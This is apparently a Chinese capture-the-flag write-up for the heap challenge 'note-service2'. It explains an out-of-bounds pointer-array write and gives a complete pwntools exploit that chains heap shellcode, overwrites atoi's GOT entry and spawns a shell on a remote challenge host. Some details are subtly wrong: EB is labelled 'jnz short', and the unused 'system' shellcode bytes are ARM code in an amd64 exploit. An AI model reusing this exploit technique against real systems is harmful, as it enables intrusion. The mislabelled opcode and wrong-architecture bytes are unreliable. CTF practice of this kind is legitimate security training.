note-service2
[collapse title=“展开查看详情” status=“false”]
考点:堆上shellcode
保护情况:NX 保护关闭
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
漏洞函数:存放堆指针的数组可越界存放。也就是堆指针可放置到任意地方。
int myadd()
{
int result; // eax
int v1; // [rsp+8h] [rbp-8h]
unsigned int chunk_size; // [rsp+Ch] [rbp-4h]
result = dword_20209C;
if ( dword_20209C >= 0 )
{
result = dword_20209C;
if ( dword_20209C <= 11 ) //chunk上限11个
{
printf("index:");
v1 = getinput();
printf("size:");
result = getinput();
chunk_size = result;
if ( result >= 0 && result <= 8 )
{
qword_2020A0[v1] = malloc(result); //堆指针存放可越界
if ( !qword_2020A0[v1] )
{
puts("malloc error");
exit(0);
}
printf("content:");
myread(qword_2020A0[v1], chunk_size);
result = dword_20209C++ + 1;
}
}
}
return result;
}
程序没有 NX 保护,可以将 shellcode 存放在堆上,然后通过数组越界覆盖 got 表调用 shellcode 。
程序限制堆大小不超过 8 ,且读入数据函数会占用最后一个字节写入 \x00
。可写入空间仅有 7 ,所以需要用汇编的跳转指令 jnz short xxx
,对应的十六进制为:EB xx
,其中 xx
为偏移量。偏移量计算公式为:xx = 目标地址 - 当前地址 -2
程序申请一个 size 为 8 的堆结构如下:图源
从 chunk 0 jmp 头开始计算:xx
= 2+1+8+8+8-2=0x19
构造一个调用 system 函数的shellcode ,然后数组越界覆盖一个可被控制输入参数的函数,例如 atoi ,传入参数 /bin/sh\x00
。这种构造方法要最后才修改 got 表,避免修改导致程序输入函数失效。
也可以到 shell-storm 找一个直接调用 system('/bin/sh')
的shellcode 一把梭哈。
完整 exp
#encodeing:utf-8
from pwn import *
context.log_level = 'debug'
context(os='linux',arch='amd64')
p = remote("124.126.19.106",41618)
#p = process("./note-service2")
def add(index,size,content):
p.sendlineafter("your choice>> ",'1')
p.sendlineafter("index:",str(index))
p.sendlineafter("size:",str(size))
p.sendafter("content:",content)
def delete(index):
p.sendlineafter("your choice>> ",'4')
p.sendlineafter("index:",str(index))
#call system
code0 = (asm('xor rax,rax') + '\x90\x90\xeb\x19')
code1= (asm('mov eax,0x3B') + '\xeb\x19')
code2 = (asm('xor rsi,rsi') + '\x90\x90\xeb\x19')
code3 = (asm('xor rdx,rdx') + '\x90\x90\xeb\x19')
code4 = (asm('syscall').ljust(7,'\x90'))
#system('/bin/sh')
shellcode0 = "\x01\x30\x8f\xe2" + '\x90\xeb\x19'
shellcode1 = "\x13\xff\x2f\xe1" + '\x90\xeb\x19'
shellcode2 = "\x78\x46\x0e\x30" + '\x90\xeb\x19'
shellcode3 = "\x01\x90\x49\x1a" + '\x90\xeb\x19'
shellcode4 = "\x92\x1a\x08\x27" + '\x90\xeb\x19'
shellcode5 = "\xc2\x51\x03\x37" + '\x90\xeb\x19'
shellcode6 = "\x01\xdf\x2f\x62" + '\x90\xeb\x19'
shellcode7 = "\x69\x6e\x2f\x2f" + '\x90\xeb\x19'
shellcode8 = "\x73\x68" + '\x90\x90\x90\x90\x90'
#write shellcode
add(0,8,'a'*7)
add(1,8,code1)
add(2,8,code2)
add(3,8,code3)
add(4,8,code4)
#overwrite atoi@got.plt
delete(0)
add(-8,8,code0)
#send /bin/sh
p.sendlineafter("your choice>> ",'/bin/sh\x00')
p.interactive()
[/collapse]